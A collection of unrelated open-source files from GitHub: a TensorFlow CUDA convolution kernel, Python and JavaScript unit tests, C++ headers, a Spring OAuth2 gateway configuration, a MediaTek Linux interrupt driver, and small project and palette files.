const int f_c = in_c + pad_cols - out_c * stride;
const int filter_offset =
filter_dm +
args.depth_multiplier *
(in_d + in_depth * (f_c + temp_filter_offset));
const int out_backprop_offset =
out_d + out_depth * (out_c + temp_out_backprop_offset);
sum += ldg(out_backprop + out_backprop_offset) *
ldg(filter + filter_offset);
}
}
}
const int in_backprop_offset =
in_d + in_depth * (in_c + in_cols * (in_r + in_rows * b));
in_backprop[in_backprop_offset] = sum;
}
}
// A simple launch pad to launch the Cuda kernel for depthwise convolution.
template <typename T>
struct DepthwiseConv2dBackpropInputGPULaunch {
static void Run(const GPUDevice& d, const DepthwiseArgs args,
const T* out_backprop, const T* filter, T* in_backprop) {
const int num_in_backprop =
args.batch * args.in_rows * args.in_cols * args.in_depth;
CudaLaunchConfig config = GetCudaLaunchConfig(num_in_backprop, d);
DepthwiseConv2dBackpropInputGPUKernel<
T><<<config.block_count, config.thread_per_block, 0, d.stream()>>>(
args, out_backprop, filter, in_backprop, num_in_backprop);
}
};
template struct DepthwiseConv2dBackpropInputGPULaunch<float>;
template struct DepthwiseConv2dBackpropInputGPULaunch<double>;
// A Cuda kernel to compute the depthwise convolution backprop w.r.t. filter.
template <typename T>
__global__ void DepthwiseConv2dBackpropFilterGPUKernel(const DepthwiseArgs args,
const T* out_backprop,
const T* input,
T* filter_backprop,
int num_out_backprop) {
const int in_rows = args.in_rows;
const int in_cols = args.in_cols;
const int in_depth = args.in_depth;
const int filter_rows = args.filter_rows;
const int filter_cols = args.filter_cols;
const int depth_multiplier = args.depth_multiplier;
const int stride = args.stride;
const int pad_rows = args.pad_rows;
const int pad_cols = args.pad_cols;
const int out_rows = args.out_rows;
const int out_cols = args.out_cols;
const int out_depth = args.out_depth;
CUDA_1D_KERNEL_LOOP(thread_id, num_out_backprop) {
// Compute the indexes of this thread in the output.
const int out_d = thread_id % out_depth;
const int out_c = (thread_id / out_depth) % out_cols;
const int out_r = (thread_id / out_depth / out_cols) % out_rows;
const int b = thread_id / out_depth / out_cols / out_rows;
// Compute the input depth and the index of depth multiplier.
const int in_d = out_d / depth_multiplier;
const int dm = out_d % depth_multiplier;
// Decide if all input is valid, if yes, we can skip the boundary checks for
// each input.
const int in_r_start = out_r * stride - pad_rows;
const int in_c_start = out_c * stride - pad_cols;
const int in_r_end = in_r_start + filter_rows;
const int in_c_end = in_c_start + filter_cols;
const int out_backprop_offset =
out_d + out_depth * (out_c + out_cols * (out_r + out_rows * b));
const T out_bp = ldg(out_backprop + out_backprop_offset);
if (in_r_start >= 0 && in_c_start >= 0 && in_r_end < in_rows &&
in_c_end < in_cols) {
UNROLL for (int f_r = 0; f_r < filter_rows; ++f_r) {
const int in_r = in_r_start + f_r;
// Avoid repeated computation.
const int input_offset_temp = in_cols * (in_r + in_rows * b);
UNROLL for (int f_c = 0; f_c < filter_cols; ++f_c) {
const int in_c = in_c_start + f_c;
const int input_offset = in_d + in_depth * (in_c + input_offset_temp);
T partial_sum = ldg(input + input_offset) * out_bp;
T* addr = filter_backprop +
(dm +
depth_multiplier *
(in_d + in_depth * (f_c + filter_cols * f_r)));
CudaAtomicAdd(addr, partial_sum);
}
}
} else {
UNROLL for (int f_r = 0; f_r < filter_rows; ++f_r) {
const int in_r = in_r_start + f_r;
// Avoid repeated computation.
const int input_offset_temp = in_cols * (in_r + in_rows * b);
UNROLL for (int f_c = 0; f_c < filter_cols; ++f_c) {
const int in_c = in_c_start + f_c;
const int addr_temp = filter_cols * f_r;
if (in_r >= 0 && in_r < in_rows && in_c >= 0 && in_c < in_cols) {
const int input_offset =
in_d + in_depth * (in_c + input_offset_temp);
T partial_sum = ldg(input + input_offset) * out_bp;
T* addr =
filter_backprop +
(dm + depth_multiplier * (in_d + in_depth * (f_c + addr_temp)));
// Potentially many threads can add to the same address so we have
// to use atomic add here.
// TODO(jmchen): If atomic add turns out to be slow, we can:
// 1. allocate multiple buffers for the gradients (one for each
// example in a batch, for example). This can reduce the contention
// on the destination;
// 2. Have each thread compute one gradient for an element in the
// filters. This should work well when the input depth is big and
// filter size is not too small.
CudaAtomicAdd(addr, partial_sum);
}
}
}
}
}
}
// A simple launch pad to launch the Cuda kernel for depthwise convolution.
template <typename T>
struct DepthwiseConv2dBackpropFilterGPULaunch {
static void Run(const GPUDevice& d, const DepthwiseArgs args,
const T* out_backprop, const T* input, T* filter_backprop) {
// In this kernel, each thread is computing the gradients for one element in
// the out_backprop.
const int num_out_backprop =
args.batch * args.out_rows * args.out_cols * args.out_depth;
CudaLaunchConfig config = GetCudaLaunchConfig(num_out_backprop, d);
DepthwiseConv2dBackpropFilterGPUKernel<
T><<<config.block_count, config.thread_per_block, 0, d.stream()>>>(
args, out_backprop, input, filter_backprop, num_out_backprop);
}
};
template struct DepthwiseConv2dBackpropFilterGPULaunch<float>;
template struct DepthwiseConv2dBackpropFilterGPULaunch<double>;
} // namespace tensorflow
#endif // GOOGLE_CUDA
| {
"pile_set_name": "Github"
} |
import pytest
from wemake_python_styleguide.violations.refactoring import (
OpenWithoutContextManagerViolation,
)
from wemake_python_styleguide.visitors.ast.functions import (
WrongFunctionCallContextVisitior,
)
# Correct:
context_manager1 = """
def wrapper():
with {0} as file:
...
"""
context_manager2 = """
def wrapper():
with {0}:
...
"""
context_manager3 = """
def wrapper():
with first, {0} as some:
...
"""
context_manager4 = """
def wrapper():
with {0} as some, second:
...
"""
# Wrong:
expression = '{0}'
assignment = 'some = {0}'
try_finally = """
try:
file = {0}
finally:
...
"""
@pytest.mark.parametrize('code', [
context_manager1,
context_manager2,
context_manager3,
context_manager4,
])
@pytest.mark.parametrize('call', [
'open()',
'open("filename")',
'open("filename", mode="rb")',
])
def test_open_inside_context_manager(
assert_errors,
parse_ast_tree,
code,
call,
default_options,
mode,
):
"""Testing that ``open()`` inside a context manager works."""
tree = parse_ast_tree(mode(code.format(call)))
visitor = WrongFunctionCallContextVisitior(default_options, tree=tree)
visitor.run()
assert_errors(visitor, [])
@pytest.mark.parametrize('code', [
context_manager1,
context_manager2,
context_manager3,
context_manager4,
expression,
assignment,
try_finally,
])
@pytest.mark.parametrize('call', [
'close()',
'open.attr',
'open.attr()',
'obj.open()',
])
def test_regular_functions(
assert_errors,
parse_ast_tree,
code,
call,
default_options,
mode,
):
"""Testing that regular calls work."""
tree = parse_ast_tree(mode(code.format(call)))
visitor = WrongFunctionCallContextVisitior(default_options, tree=tree)
visitor.run()
assert_errors(visitor, [])
@pytest.mark.parametrize('code', [
expression,
assignment,
try_finally,
])
@pytest.mark.parametrize('call', [
'open()',
'open("filename")',
'open("filename", mode="rb")',
])
def test_open_without_context_manager(
assert_errors,
parse_ast_tree,
code,
call,
default_options,
mode,
):
"""Testing that ``open()`` without context managers raise a violation."""
tree = parse_ast_tree(mode(code.format(call)))
visitor = WrongFunctionCallContextVisitior(default_options, tree=tree)
visitor.run()
assert_errors(visitor, [OpenWithoutContextManagerViolation])
| {
"pile_set_name": "Github"
} |
// Windows/Synchronization.h
#ifndef __WINDOWS_SYNCHRONIZATION_H
#define __WINDOWS_SYNCHRONIZATION_H
#include "Defs.h"
#include "Handle.h"
namespace NWindows {
namespace NSynchronization {
class CObject: public CHandle
{
public:
bool Lock(DWORD timeoutInterval = INFINITE)
{ return (::WaitForSingleObject(_handle, timeoutInterval) == WAIT_OBJECT_0); }
};
class CBaseEvent: public CObject
{
public:
bool Create(bool manualReset, bool initiallyOwn, LPCTSTR name = NULL,
LPSECURITY_ATTRIBUTES securityAttributes = NULL)
{
_handle = ::CreateEvent(securityAttributes, BoolToBOOL(manualReset),
BoolToBOOL(initiallyOwn), name);
return (_handle != 0);
}
bool Open(DWORD desiredAccess, bool inheritHandle, LPCTSTR name)
{
_handle = ::OpenEvent(desiredAccess, BoolToBOOL(inheritHandle), name);
return (_handle != 0);
}
bool Set() { return BOOLToBool(::SetEvent(_handle)); }
bool Pulse() { return BOOLToBool(::PulseEvent(_handle)); }
bool Reset() { return BOOLToBool(::ResetEvent(_handle)); }
};
class CEvent: public CBaseEvent
{
public:
CEvent() {};
CEvent(bool manualReset, bool initiallyOwn,
LPCTSTR name = NULL, LPSECURITY_ATTRIBUTES securityAttributes = NULL);
};
class CManualResetEvent: public CEvent
{
public:
CManualResetEvent(bool initiallyOwn = false, LPCTSTR name = NULL,
LPSECURITY_ATTRIBUTES securityAttributes = NULL):
CEvent(true, initiallyOwn, name, securityAttributes) {};
};
class CAutoResetEvent: public CEvent
{
public:
CAutoResetEvent(bool initiallyOwn = false, LPCTSTR name = NULL,
LPSECURITY_ATTRIBUTES securityAttributes = NULL):
CEvent(false, initiallyOwn, name, securityAttributes) {};
};
class CMutex: public CObject
{
public:
bool Create(bool initiallyOwn, LPCTSTR name = NULL,
LPSECURITY_ATTRIBUTES securityAttributes = NULL)
{
_handle = ::CreateMutex(securityAttributes, BoolToBOOL(initiallyOwn), name);
return (_handle != 0);
}
bool Open(DWORD desiredAccess, bool inheritHandle, LPCTSTR name)
{
_handle = ::OpenMutex(desiredAccess, BoolToBOOL(inheritHandle), name);
return (_handle != 0);
}
bool Release() { return BOOLToBool(::ReleaseMutex(_handle)); }
};
class CMutexLock
{
CMutex &_object;
public:
CMutexLock(CMutex &object): _object(object) { _object.Lock(); }
~CMutexLock() { _object.Release(); }
};
class CCriticalSection
{
CRITICAL_SECTION _object;
// void Initialize() { ::InitializeCriticalSection(&_object); }
// void Delete() { ::DeleteCriticalSection(&_object); }
public:
CCriticalSection() { ::InitializeCriticalSection(&_object); }
~CCriticalSection() { ::DeleteCriticalSection(&_object); }
void Enter() { ::EnterCriticalSection(&_object); }
void Leave() { ::LeaveCriticalSection(&_object); }
};
class CCriticalSectionLock
{
CCriticalSection &_object;
void Unlock() { _object.Leave(); }
public:
CCriticalSectionLock(CCriticalSection &object): _object(object)
{_object.Enter(); }
~CCriticalSectionLock() { Unlock(); }
};
}}
#endif
| {
"pile_set_name": "Github"
} |
package com.fisher.gateway.config;
import com.fisher.common.config.IgnoreUrlPropertiesConfig;
import com.fisher.gateway.auth.endpoint.AuthExceptionEntryPoint;
import com.fisher.gateway.auth.handler.CustomAccessDeniedHandler;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.http.HttpMethod;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
import org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer;
import org.springframework.security.oauth2.config.annotation.web.configuration.ResourceServerConfigurerAdapter;
import org.springframework.security.oauth2.config.annotation.web.configurers.ResourceServerSecurityConfigurer;
import org.springframework.security.oauth2.provider.expression.OAuth2WebSecurityExpressionHandler;
import org.springframework.security.oauth2.provider.token.store.redis.RedisTokenStore;
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
import org.springframework.web.filter.CorsFilter;
/**
* @description: oauth2资源服务器配置
*/
@Configuration
@EnableResourceServer
public class OAuth2ResourceServerConfig extends ResourceServerConfigurerAdapter {
@Autowired
private IgnoreUrlPropertiesConfig ignoreUrlPropertiesConfig;
@Autowired
private RedisConnectionFactory redisConnectionFactory;
/**
* 配置token存储到redis中
* @return
*/
@Bean
public RedisTokenStore redisTokenStore() {
RedisTokenStore store = new RedisTokenStore(redisConnectionFactory);
// store.setPrefix(SecurityConstants.CLOUD_PREFIX);
return store;
}
@Autowired
private CustomAccessDeniedHandler customAccessDeniedHandler;
@Autowired
private OAuth2WebSecurityExpressionHandler expressionHandler;
@Bean
public CorsFilter corsFilter() {
final UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
final CorsConfiguration corsConfiguration = new CorsConfiguration();
// corsConfiguration.setAllowCredentials(true);
corsConfiguration.addAllowedHeader("*");
corsConfiguration.addAllowedOrigin("*");
corsConfiguration.addAllowedMethod("*");
source.registerCorsConfiguration("/**", corsConfiguration);
return new CorsFilter(source);
}
@Override
public void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry config = http.authorizeRequests();
ignoreUrlPropertiesConfig.getUrls().forEach( e ->{
config.antMatchers(e).permitAll();
});
// 前后分离 先发出options 放行
config.antMatchers(HttpMethod.OPTIONS,"/**","/auth/**","/admin/**","/actuator/**").permitAll()
.anyRequest().access("@permissionService.hasPermission(request,authentication)");
}
@Override
public void configure(ResourceServerSecurityConfigurer resources) throws Exception {
resources.tokenStore(redisTokenStore())
.accessDeniedHandler(customAccessDeniedHandler)
.authenticationEntryPoint(new AuthExceptionEntryPoint())
.expressionHandler(expressionHandler);
}
@Bean
public OAuth2WebSecurityExpressionHandler oAuth2WebSecurityExpressionHandler(ApplicationContext applicationContext) {
OAuth2WebSecurityExpressionHandler expressionHandler = new OAuth2WebSecurityExpressionHandler();
expressionHandler.setApplicationContext(applicationContext);
return expressionHandler;
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 1999
* Boris Fomitchev
*
* This material is provided "as is", with absolutely no warranty expressed
* or implied. Any use is at your own risk.
*
* Permission to use or copy this software for any purpose is hereby granted
* without fee, provided the above notices are retained on all copies.
* Permission to modify the code and to distribute modified code is granted,
* provided the above notices are retained, and a notice that the code was
* modified is included with the above copyright notice.
*
*/
#ifndef _STLP_OLDSTD_typeinfo
#define _STLP_OLDSTD_typeinfo
#ifndef _STLP_OUTERMOST_HEADER_ID
# define _STLP_OUTERMOST_HEADER_ID 0x874
# include <stl/_prolog.h>
#endif
#ifndef _STLP_NO_TYPEINFO
# if defined (__GNUC__)
# undef _STLP_OLDSTD_typeinfo
# include <typeinfo>
# define _STLP_OLDSTD_typeinfo
# else
# if !defined (__BORLANDC__) || (__BORLANDC__ < 0x580)
# include _STLP_NATIVE_CPP_RUNTIME_HEADER(typeinfo.h)
# else
# include _STLP_NATIVE_CPP_C_HEADER(typeinfo.h)
# endif
# if defined (__BORLANDC__) && (__BORLANDC__ >= 0x580) || \
defined (__DMC__)
using std::type_info;
using std::bad_typeid;
using std::bad_cast;
# endif
# endif
// if <typeinfo> already included, do not import anything
# if defined (_STLP_USE_OWN_NAMESPACE) && !(defined (_STLP_TYPEINFO) && !defined (_STLP_NO_NEW_NEW_HEADER))
_STLP_BEGIN_NAMESPACE
using /*_STLP_VENDOR_EXCEPT_STD */ :: type_info;
# if !(defined(__MRC__) || (defined(__SC__) && !defined(__DMC__)))
using /* _STLP_VENDOR_EXCEPT_STD */ :: bad_typeid;
# endif
using /* _STLP_VENDOR_EXCEPT_STD */ :: bad_cast;
_STLP_END_NAMESPACE
# endif /* _STLP_OWN_NAMESPACE */
#endif /* _STLP_NO_TYPEINFO */
#if (_STLP_OUTERMOST_HEADER_ID == 0x874)
# include <stl/_epilog.h>
# undef _STLP_OUTERMOST_HEADER_ID
#endif
#endif /* _STLP_OLDSTD_typeinfo */
// Local Variables:
// mode:C++
// End:
| {
"pile_set_name": "Github"
} |
import os
import unittest
import conpot
import gevent
import tftpy
import filecmp
import conpot.core as conpot_core
from freezegun import freeze_time
from conpot.protocols.tftp.tftp_server import TftpServer
class TestTFTPServer(unittest.TestCase):
def setUp(self):
# initialize the file system.
conpot_core.initialize_vfs()
self._test_file = "/".join(
conpot.__path__ + ["tests/data/test_data_fs/tftp/test.txt"]
)
# get the current directory
self.dir_name = os.path.dirname(conpot.__file__)
self.tftp_server = TftpServer(
self.dir_name + "/templates/default/tftp/tftp.xml",
self.dir_name + "/templates/default",
args=None,
)
self.server_greenlet = gevent.spawn(self.tftp_server.start, "127.0.0.1", 0)
gevent.sleep(1)
def tearDown(self):
self.tftp_server.stop()
@freeze_time("2018-07-15 17:51:17")
def test_tftp_upload(self):
"""Testing TFTP upload files. """
client = tftpy.TftpClient("127.0.0.1", self.tftp_server.server.server_port)
client.upload("test.txt", self._test_file)
gevent.sleep(3)
_, _data_fs = conpot_core.get_vfs("tftp")
[_file] = [
i for i in _data_fs.listdir("./") if "2018-07-15 17:51:17-test-txt" in i
]
self.assertEqual(
_data_fs.gettext(_file),
"This is just a test file for Conpot's TFTP server\n",
)
_data_fs.remove(_file)
@freeze_time("2018-07-15 17:51:17")
def test_mkdir_upload(self):
"""Testing TFTP upload files - while recursively making directories as per the TFTP path."""
client = tftpy.TftpClient("127.0.0.1", self.tftp_server.server.server_port)
client.upload("/dir/dir/test.txt", self._test_file)
gevent.sleep(3)
_, _data_fs = conpot_core.get_vfs("tftp")
[_file] = [
i for i in _data_fs.listdir("./") if "2018-07-15 17:51:17-test-txt" in i
]
self.assertEqual(
_data_fs.gettext(_file),
"This is just a test file for Conpot's TFTP server\n",
)
_data_fs.remove(_file)
def test_tftp_download(self):
_dst_path = "/".join(
conpot.__path__ + ["tests/data/data_temp_fs/tftp/download"]
)
client = tftpy.TftpClient("127.0.0.1", self.tftp_server.server.server_port)
try:
client.download("tftp_data.txt", _dst_path)
gevent.sleep(3)
self.assertTrue(filecmp.cmp(_dst_path, self._test_file))
finally:
_, _data_fs = conpot_core.get_vfs("tftp")
_data_fs.remove("download")
if __name__ == "__main__":
unittest.main()
| {
"pile_set_name": "Github"
} |
import chai from 'chai';
import Utils from '../../src/d3-funnel/Utils';
const { assert } = chai;
describe('Utils', () => {
describe('extend', () => {
it('should override object a with the properties of object b', () => {
const a = {
name: 'Fluoride',
};
const b = {
name: 'Argon',
atomicNumber: 18,
};
assert.deepEqual(b, Utils.extend(a, b));
});
it('should add properties of object b to object a', () => {
const a = {
name: 'Alpha Centauri',
};
const b = {
distanceFromSol: 4.37,
stars: [{
name: 'Alpha Centauri A',
}, {
name: 'Alpha Centauri B',
}, {
name: 'Proxima Centauri',
}],
};
const merged = {
name: 'Alpha Centauri',
distanceFromSol: 4.37,
stars: [{
name: 'Alpha Centauri A',
}, {
name: 'Alpha Centauri B',
}, {
name: 'Proxima Centauri',
}],
};
assert.deepEqual(merged, Utils.extend(a, b));
});
});
describe('convertLegacyBlock', () => {
it('should translate a standard legacy block array into an object', () => {
const block = ['Terran', 200];
const { label, value } = Utils.convertLegacyBlock(block);
assert.deepEqual({ label: 'Terran', value: 200 }, { label, value });
});
it('should translate a formatted value', () => {
const block = ['Terran', [200, 'Two Hundred']];
const { formattedValue } = Utils.convertLegacyBlock(block);
assert.equal('Two Hundred', formattedValue);
});
it('should translate a background color', () => {
const block = ['Terran', 200, '#e5b81f'];
const { backgroundColor } = Utils.convertLegacyBlock(block);
assert.equal('#e5b81f', backgroundColor);
});
it('should translate a label color', () => {
const block = ['Terran', 200, null, '#e5b81f'];
const { labelColor } = Utils.convertLegacyBlock(block);
assert.equal('#e5b81f', labelColor);
});
});
});
| {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0-only
/*
* Copyright (c) 2016 MediaTek Inc.
* Author: Youlin.Pei <youlin.pei@mediatek.com>
*/
#include <linux/interrupt.h>
#include <linux/io.h>
#include <linux/irq.h>
#include <linux/irqchip.h>
#include <linux/irqdomain.h>
#include <linux/of.h>
#include <linux/of_irq.h>
#include <linux/of_address.h>
#include <linux/slab.h>
#include <linux/syscore_ops.h>
#define CIRQ_ACK 0x40
#define CIRQ_MASK_SET 0xc0
#define CIRQ_MASK_CLR 0x100
#define CIRQ_SENS_SET 0x180
#define CIRQ_SENS_CLR 0x1c0
#define CIRQ_POL_SET 0x240
#define CIRQ_POL_CLR 0x280
#define CIRQ_CONTROL 0x300
#define CIRQ_EN 0x1
#define CIRQ_EDGE 0x2
#define CIRQ_FLUSH 0x4
struct mtk_cirq_chip_data {
void __iomem *base;
unsigned int ext_irq_start;
unsigned int ext_irq_end;
struct irq_domain *domain;
};
static struct mtk_cirq_chip_data *cirq_data;
static void mtk_cirq_write_mask(struct irq_data *data, unsigned int offset)
{
struct mtk_cirq_chip_data *chip_data = data->chip_data;
unsigned int cirq_num = data->hwirq;
u32 mask = 1 << (cirq_num % 32);
writel_relaxed(mask, chip_data->base + offset + (cirq_num / 32) * 4);
}
static void mtk_cirq_mask(struct irq_data *data)
{
mtk_cirq_write_mask(data, CIRQ_MASK_SET);
irq_chip_mask_parent(data);
}
static void mtk_cirq_unmask(struct irq_data *data)
{
mtk_cirq_write_mask(data, CIRQ_MASK_CLR);
irq_chip_unmask_parent(data);
}
static int mtk_cirq_set_type(struct irq_data *data, unsigned int type)
{
int ret;
switch (type & IRQ_TYPE_SENSE_MASK) {
case IRQ_TYPE_EDGE_FALLING:
mtk_cirq_write_mask(data, CIRQ_POL_CLR);
mtk_cirq_write_mask(data, CIRQ_SENS_CLR);
break;
case IRQ_TYPE_EDGE_RISING:
mtk_cirq_write_mask(data, CIRQ_POL_SET);
mtk_cirq_write_mask(data, CIRQ_SENS_CLR);
break;
case IRQ_TYPE_LEVEL_LOW:
mtk_cirq_write_mask(data, CIRQ_POL_CLR);
mtk_cirq_write_mask(data, CIRQ_SENS_SET);
break;
case IRQ_TYPE_LEVEL_HIGH:
mtk_cirq_write_mask(data, CIRQ_POL_SET);
mtk_cirq_write_mask(data, CIRQ_SENS_SET);
break;
default:
break;
}
data = data->parent_data;
ret = data->chip->irq_set_type(data, type);
return ret;
}
static struct irq_chip mtk_cirq_chip = {
.name = "MT_CIRQ",
.irq_mask = mtk_cirq_mask,
.irq_unmask = mtk_cirq_unmask,
.irq_eoi = irq_chip_eoi_parent,
.irq_set_type = mtk_cirq_set_type,
.irq_retrigger = irq_chip_retrigger_hierarchy,
#ifdef CONFIG_SMP
.irq_set_affinity = irq_chip_set_affinity_parent,
#endif
};
static int mtk_cirq_domain_translate(struct irq_domain *d,
struct irq_fwspec *fwspec,
unsigned long *hwirq,
unsigned int *type)
{
if (is_of_node(fwspec->fwnode)) {
if (fwspec->param_count != 3)
return -EINVAL;
/* No PPI should point to this domain */
if (fwspec->param[0] != 0)
return -EINVAL;
/* cirq support irq number check */
if (fwspec->param[1] < cirq_data->ext_irq_start ||
fwspec->param[1] > cirq_data->ext_irq_end)
return -EINVAL;
*hwirq = fwspec->param[1] - cirq_data->ext_irq_start;
*type = fwspec->param[2] & IRQ_TYPE_SENSE_MASK;
return 0;
}
return -EINVAL;
}
static int mtk_cirq_domain_alloc(struct irq_domain *domain, unsigned int virq,
unsigned int nr_irqs, void *arg)
{
int ret;
irq_hw_number_t hwirq;
unsigned int type;
struct irq_fwspec *fwspec = arg;
struct irq_fwspec parent_fwspec = *fwspec;
ret = mtk_cirq_domain_translate(domain, fwspec, &hwirq, &type);
if (ret)
return ret;
if (WARN_ON(nr_irqs != 1))
return -EINVAL;
irq_domain_set_hwirq_and_chip(domain, virq, hwirq,
&mtk_cirq_chip,
domain->host_data);
parent_fwspec.fwnode = domain->parent->fwnode;
return irq_domain_alloc_irqs_parent(domain, virq, nr_irqs,
&parent_fwspec);
}
static const struct irq_domain_ops cirq_domain_ops = {
.translate = mtk_cirq_domain_translate,
.alloc = mtk_cirq_domain_alloc,
.free = irq_domain_free_irqs_common,
};
#ifdef CONFIG_PM_SLEEP
static int mtk_cirq_suspend(void)
{
u32 value, mask;
unsigned int irq, hwirq_num;
bool pending, masked;
int i, pendret, maskret;
/*
* When external interrupts happened, CIRQ will record the status
* even CIRQ is not enabled. When execute flush command, CIRQ will
* resend the signals according to the status. So if don't clear the
* status, CIRQ will resend the wrong signals.
*
* arch_suspend_disable_irqs() will be called before CIRQ suspend
* callback. If clear all the status simply, the external interrupts
* which happened between arch_suspend_disable_irqs and CIRQ suspend
* callback will be lost. Using following steps to avoid this issue;
*
* - Iterate over all the CIRQ supported interrupts;
* - For each interrupt, inspect its pending and masked status at GIC
* level;
* - If pending and unmasked, it happened between
* arch_suspend_disable_irqs and CIRQ suspend callback, don't ACK
* it. Otherwise, ACK it.
*/
hwirq_num = cirq_data->ext_irq_end - cirq_data->ext_irq_start + 1;
for (i = 0; i < hwirq_num; i++) {
irq = irq_find_mapping(cirq_data->domain, i);
if (irq) {
pendret = irq_get_irqchip_state(irq,
IRQCHIP_STATE_PENDING,
&pending);
maskret = irq_get_irqchip_state(irq,
IRQCHIP_STATE_MASKED,
&masked);
if (pendret == 0 && maskret == 0 &&
(pending && !masked))
continue;
}
mask = 1 << (i % 32);
writel_relaxed(mask, cirq_data->base + CIRQ_ACK + (i / 32) * 4);
}
/* set edge_only mode, record edge-triggerd interrupts */
/* enable cirq */
value = readl_relaxed(cirq_data->base + CIRQ_CONTROL);
value |= (CIRQ_EDGE | CIRQ_EN);
writel_relaxed(value, cirq_data->base + CIRQ_CONTROL);
return 0;
}
static void mtk_cirq_resume(void)
{
u32 value;
/* flush recored interrupts, will send signals to parent controller */
value = readl_relaxed(cirq_data->base + CIRQ_CONTROL);
writel_relaxed(value | CIRQ_FLUSH, cirq_data->base + CIRQ_CONTROL);
/* disable cirq */
value = readl_relaxed(cirq_data->base + CIRQ_CONTROL);
value &= ~(CIRQ_EDGE | CIRQ_EN);
writel_relaxed(value, cirq_data->base + CIRQ_CONTROL);
}
static struct syscore_ops mtk_cirq_syscore_ops = {
.suspend = mtk_cirq_suspend,
.resume = mtk_cirq_resume,
};
static void mtk_cirq_syscore_init(void)
{
register_syscore_ops(&mtk_cirq_syscore_ops);
}
#else
static inline void mtk_cirq_syscore_init(void) {}
#endif
static int __init mtk_cirq_of_init(struct device_node *node,
struct device_node *parent)
{
struct irq_domain *domain, *domain_parent;
unsigned int irq_num;
int ret;
domain_parent = irq_find_host(parent);
if (!domain_parent) {
pr_err("mtk_cirq: interrupt-parent not found\n");
return -EINVAL;
}
cirq_data = kzalloc(sizeof(*cirq_data), GFP_KERNEL);
if (!cirq_data)
return -ENOMEM;
cirq_data->base = of_iomap(node, 0);
if (!cirq_data->base) {
pr_err("mtk_cirq: unable to map cirq register\n");
ret = -ENXIO;
goto out_free;
}
ret = of_property_read_u32_index(node, "mediatek,ext-irq-range", 0,
&cirq_data->ext_irq_start);
if (ret)
goto out_unmap;
ret = of_property_read_u32_index(node, "mediatek,ext-irq-range", 1,
&cirq_data->ext_irq_end);
if (ret)
goto out_unmap;
irq_num = cirq_data->ext_irq_end - cirq_data->ext_irq_start + 1;
domain = irq_domain_add_hierarchy(domain_parent, 0,
irq_num, node,
&cirq_domain_ops, cirq_data);
if (!domain) {
ret = -ENOMEM;
goto out_unmap;
}
cirq_data->domain = domain;
mtk_cirq_syscore_init();
return 0;
out_unmap:
iounmap(cirq_data->base);
out_free:
kfree(cirq_data);
return ret;
}
IRQCHIP_DECLARE(mtk_cirq, "mediatek,mtk-cirq", mtk_cirq_of_init);
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{61A2515E-AC1B-413A-8798-7ABCE6DD8D93}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>EmptyApp</RootNamespace>
<AssemblyName>EmptyApp</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
</PropertyGroup>
<PropertyGroup>
<StartupObject>EmptyApp.Program</StartupObject>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>EmptyApp.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\DeltaEngine.csproj">
<Project>{20FA8D33-A964-4000-AD82-67BD6900793B}</Project>
<Name>DeltaEngine</Name>
</ProjectReference>
<ProjectReference Include="..\..\Platforms\WindowsOpenGL\DeltaEngine.WindowsOpenGL.csproj">
<Project>{88C49739-EFD4-46C7-90A8-1AE3D6F63563}</Project>
<Name>DeltaEngine.WindowsOpenGL</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<Content Include="EmptyApp.ico" />
</ItemGroup>
<ItemGroup>
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="ColorChanger.cs" />
<Compile Include="Program.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project> | {
"pile_set_name": "Github"
} |
JASC-PAL
0100
16
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
| {
"pile_set_name": "Github"
} |
# coding: utf-8
from __future__ import unicode_literals
